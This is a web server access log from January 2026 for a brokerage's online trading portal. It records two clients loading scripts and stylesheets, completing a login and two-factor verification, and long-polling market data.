[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767935441245 HTTP/1.1" 3188
[09/Jan/2026:13:06:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935429947 HTTP/1.1" -
[09/Jan/2026:13:06:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:06:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:06:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckIsEnableRSA HTTP/1.1" 1
[09/Jan/2026:13:06:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckPwEncryptType HTTP/1.1" -
[09/Jan/2026:13:06:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:13:06:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:06:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:06:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:06:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Login HTTP/1.1" 466
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/2FA_authentication.html?language=tc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0-iAsiaEdition.js HTTP/1.1" 6651
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161914 HTTP/1.1" 1953
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161914 HTTP/1.1" 33
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767935450680 HTTP/1.1" 3188
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Get2FAInfoService HTTP/1.1" 109
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:13:06:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:13:06:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935435157 HTTP/1.1" -
[09/Jan/2026:13:06:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935440279 HTTP/1.1" -
[09/Jan/2026:13:06:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935445321 HTTP/1.1" -
[09/Jan/2026:13:06:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935450465 HTTP/1.1" -
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 430
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:13:06:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
